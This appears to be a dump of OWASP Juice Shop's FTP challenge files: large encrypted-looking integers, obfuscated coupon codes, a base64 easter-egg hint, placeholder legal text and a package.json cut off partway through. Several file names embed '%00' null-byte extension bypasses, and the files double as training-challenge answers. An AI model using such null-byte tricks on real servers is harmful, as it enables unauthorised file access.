38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
64506685090966171317400245036615838614451421799765252790527506576691423528155178381616718430230924971355376611122518398685681317988756748210524555233426201514738647456481983925917094458063889081559108119985717164753127864103327995060719890797690210124943176998503994632839576539302651368490981633081025097216
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
64506685090966171317400245036615838614451421799765252790527506576691423528155178381616718430230924971355376611122518398685681317988756748210524555233426201514738647456481983925917094458063889081559108119985717164753127864103327995060719890797690210124943176998503994632839576539302651368490981633081025097216
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
133821342606580454431636853618778967721010373114197662891508991682540483266007458846375983314130300445587911282877335750480805649394086463664645319161836413638247650471886879354773317635394640518080390290425806187120049212041979879176975293329368437530104798819774108474920635359521954718055320835228865103287
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
32314742799901071101384886133428561762878684756755055439399732610803575045421300506914675729938880370731413301277310516935885693351870795392533527241001962621829217474952231917355098394642342615154976969537535852030993913375029932439321850592751196788883059868908730597859174877779449712299285641554658928995
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
100611322685874878848754240661495615711646777488831419813503119374511960510535820058228889027763435983724546057947590061551257712702713723012996004563390427396300527089392464643553160988799916035179912848793338088594261441002497827716739663270148287782372738753596682707263125663143832871706325505355756447001
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
63954934982169968493375436708243549943337776790067035042049945803263896137705048991307667148505224485994939878827810471672893639994173854628637995888833872725682539891708902345134444873401804816245621659122305520079093134983775134753014016200774920370979508498502550221686538836022420428948530476432469293840
78574888085059728932016020355051254845057542027798831380644526738207017271720961248553305239460318463410612543366391692703942160351564248680419156747819835151192908776085072958707819994156968550260014725465711644134609796499853562476328005416616399377266814386729970069757327077942632748554937325751155612617
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
4182669348045269791254444104622750379376825748164589688688917405611067685879473543635386042921454535628915404264820793209948561919050475943517314854567616375314489289931988461469983115038328954579926992023989065641892802210559142402542318857874412395884224371766870024021473348650171148389070499526981719281
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
110677020630149274964222916998595829586193824069287520865371017953346184773216488105655358000845529351486948155980877850518774196352113422039136665946726400920026750420146146261266602506979916234889564211609897212151379598070261611636080505933141703724213783681697915813821150968616422671132587656451033246467
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
98072193152871319688837688940847690007375497449437127180342057154848195391486477028582072505559234392497094299334775763771056865590909378050094703548344101458162032536500439758037446538333860663336228719703447923766109850133438244955538517197400462445959770460870119876325281725458020065942886331789259035983
62104638576773623684551385680049598287592117406425744400809134407903643583666708272482545534671166621770408289170731318094044339124299554089107205698606709373381797598251478288011978691275803110552617887693282137095804434097831282225624540169317691447722170457236271134204498185177779451706984833572912654051
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
103630771034809064295441042712205127833809955305556920690972002869265075787873781482161093268773250419927777412343784143034271729308682272008666321444924803312371930529514364913362512578918096589118490719120677463058362826499845020817215299857557214101939014810891895109030323970769897901918515344595778389062
31707737541212456101597260267218190714066252029389924831891501785605644973513011962779664294555356932023726071895336612780464167424759430076954899526585689949687856263385487737210702266705465626372754123117394780389659141119246624792744993415412443852278155722410470074741911953610162057663529160914266874272
133930201855205279167054626392386491758663696735349774390564176846452514058950913326299045580032085314090096003650639914647723295428609614051209802196629764120227272918299140529377520226057158767002941429636425764805494488090903940203546292432576493222104553320092554816861501099363522282953922238300457461822
133604854587983782426336851966055180766137238380213738755612754580571873477141746262470197566499595456763533768810119497776657303036926536439596312800476267916952408133055363765789592858440156479910321961287737605889088257914313717722526470918375313652500001060195495792645858466367996395114867945227571389228
89938926398532069428812104328780145146529955589041303637458047108510147242848858084348503331879024858042858223391023349608940378566503675271975018311323405400229380745402897172146773327451772982575450766174873446956308213715360627660031724395955295029554684417839579655298468210873009910475123233741237090305
11770529878376537392176023801616332054206586403317029204872097283879013592544664155137424315373816381246245926074616104633031546609190393572753761315066067991349063603931902635434527813570053874510249820710406986615227814886395097457348384557242669684705465398169425608330443811691975867383392790839381050813
52188413708933777340255240079401949118543481564292207460176301725613778478506153316352299349201709316809279114991920613596804650102827237541704219528800095939127969839542040061019699167849393066598124948467877789500772677109422649571673770452991672941970599341867814573043277529267585146316633115205025182035
18841528840215842940892482006206792596379090710579510258004676479299439315087402862709587819737472989786986867016615351930227788820321564461647838443689747484367403793144517019266481384117964025666558797834097914176709162958550579410662954217852962313834451071124369128128379429805193175642408373471648041978
52188413708933777340255240079401949118543481564292207460176301725613778478506153316352299349201709316809279114991920613596804650102827237541704219528800095939127969839542040061019699167849393066598124948467877789500772677109422649571673770452991672941970599341867814573043277529267585146316633115205025182035
18928824824404618546081435030209083267268489418743716085092360940821456571058073610038003667728852565249050914551688677362605878103840934651434075140132384308995728357238735685855259984296884208528911376198941346901774040385519327046561334322491884513919658871624028711808624019905185426957108386637998884956
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
19983809701621831135088221996221784300998234690565487842061647521986793674239632248612015804290992839590280719557841141355098145874855168937833787271184484791582836089661751365862495651088974077048520938236610785599994938659130037316606004207376328174173906815136855549837338097232904522744461148710841694256
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
127834769478164514448657989368832148725913788717323254960364403479177512658943589475906085232130280919139734603553084820947341340394949631963818705830501656689270396348803462168537526657806923603818160774689566455932951541886098644908675874178795070128486781922916272919790827233534695358511424166456147425848
89833182957990460554958936422698418439928227266029601028665002136268298013382992483687058262490425052171050802666396404260622968410050788864046121930627826426607645552614605173395336254635950515816665194669152715989802130892055091582637135487785378619311030636138298874397355025350891060593718134018319014543
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189
24967305915147448501714803815131082697651323959012327163948924800842151459753928809004140779720650895584635121993194057082316592998717502814441305726429929671294365807644588277045222305190426743608262305501915288920161172031572236684644966814452620598419243254600230442500564630612310314865158125155993279156
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
52458668072092359099572108019688314909460517282226151698013741623556255207992948939250727966920817920960977212344926030170527263259934680773822318577993537593474004331796735779818411050031648326153091909479292158664736917243966609986114681682166012412829967640968575520470338189028508757061094572805991595735
65645897586164484901084724785868138215545914354940822394405500808403468724441166236806972579892634007617499335208431430950189476291370052338014365086681345565540227225026983516086855968280037759361688810908512159517949185685951322885323134278372517254106593980281408943359660796097314972401388661496052678170
91680348915962244635467280702269071962770849234751203908734508507942563330754312317275898786442433413770569887551943099443991331261278291587321076702444424684302121767202425952384762689618469717236791027569005894172183324909306235069613007499705735183698684035052271555030322776650321910241652531845417895375
38842157875943079188185445304579668744732765285296229312069079189604026634975232902567591019360806090163616843896933954511057774277012101804314476185295849622146563538202579085309181093715566609433861522817268155952508279805952520521294438960392472508617643577732121234835368685304804224698356904865781567168
52458668072092359099572108019688314909460517282226151698013741623556255207992948939250727966920817920960977212344926030170527263259934680773822318577993537593474004331796735779818411050031648326153091909479292158664736917243966609986114681682166012412829967640968575520470338189028508757061094572805991595735
137750765227550514225702921526079247864945181950754004191279860398297269164774487403668182634889775633528548211091913121574076937323802336081931630718919853334596352699339183080539107020795995910595341832851681150580329849056595009984216610828839413881738202804763231117980603408698112207358492939114134102890
84678702049964035127896877368302320193886098455768332363432424605514741777549598765352488664406159741902969536313365615807705807342321003104495852655512915130050188765284239466210113597760303699022312173073258712597100702393539916597625283858275741383340518666315900387591781569580279341955960362957888697189


================================================
FILE: OWASP-Juice-Shop/ftp/coupons_2013.md.bak%00..md
================================================
n<MibgC7sn
mNYS#gC7sn
o*IVigC7sn
k#pDlgC7sn
o*I]pgC7sn
n(XRvgC7sn
n(XLtgC7sn
k#*AfgC7sn
q:<IqgC7sn
pEw8ogC7sn
pes[BgC7sn
l}6D$gC7ss

================================================
FILE: OWASP-Juice-Shop/ftp/eastere.gg%00.md
================================================
"Congratulations, you found the easter egg!"
- The incredibly funny developers

...

...

...

Oh' wait, this isn't an easter egg at all! It's just a boring text file! The real easter egg can be found here:

L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA==

Good luck, egg hunter!

================================================
FILE: OWASP-Juice-Shop/ftp/legal.md
================================================
# Legal Information

Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam
nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat,
sed diam voluptua. At vero eos et accusam et justo duo dolores et ea
rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem
ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing
elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna
aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo
dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus
est Lorem ipsum dolor sit amet.

Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse
molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero
eros et accumsan et iusto odio dignissim qui blandit praesent luptatum
zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum
dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh
euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.

Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper
suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem
vel eum iriure dolor in hendrerit in vulputate velit esse molestie
consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et
accumsan et iusto odio dignissim qui blandit praesent luptatum zzril
delenit augue duis dolore te feugait nulla facilisi.

## Terms of Use

Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet
doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit
amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod
tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad
minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis
nisl ut aliquip ex ea commodo consequat.

Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse
molestie consequat, vel illum dolore eu feugiat nulla facilisis.

At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd
gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem
ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet
clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At
accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy
sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd
magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem
ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur


================================================
FILE: OWASP-Juice-Shop/ftp/package.json.bak%00.md
================================================
{
  "name": "juice-shop",
  "version": "6.2.0-SNAPSHOT",
  "description": "An intentionally insecure JavaScript Web Application",
  "homepage": "http://owasp-juice.shop",
  "author": "Björn Kimminich <bjoern.kimminich@owasp.org> (https://www.owasp.org/index.php/User:Bjoern_Kimminich)",
  "contributors": [
    "Björn Kimminich",
    "Bjoern Kimminich",
    "bjoern.kimminich",
    "Jannik Hollenbach",
    "Aashish683",
    "greenkeeper[bot]",
    "agrawalarpit14",
    "MarcRler",
    "CaptainFreak",
    "Supratik Das",
    "aaryan10",
    "m4l1c3",
    "J12934",
    "Josh Grossman",
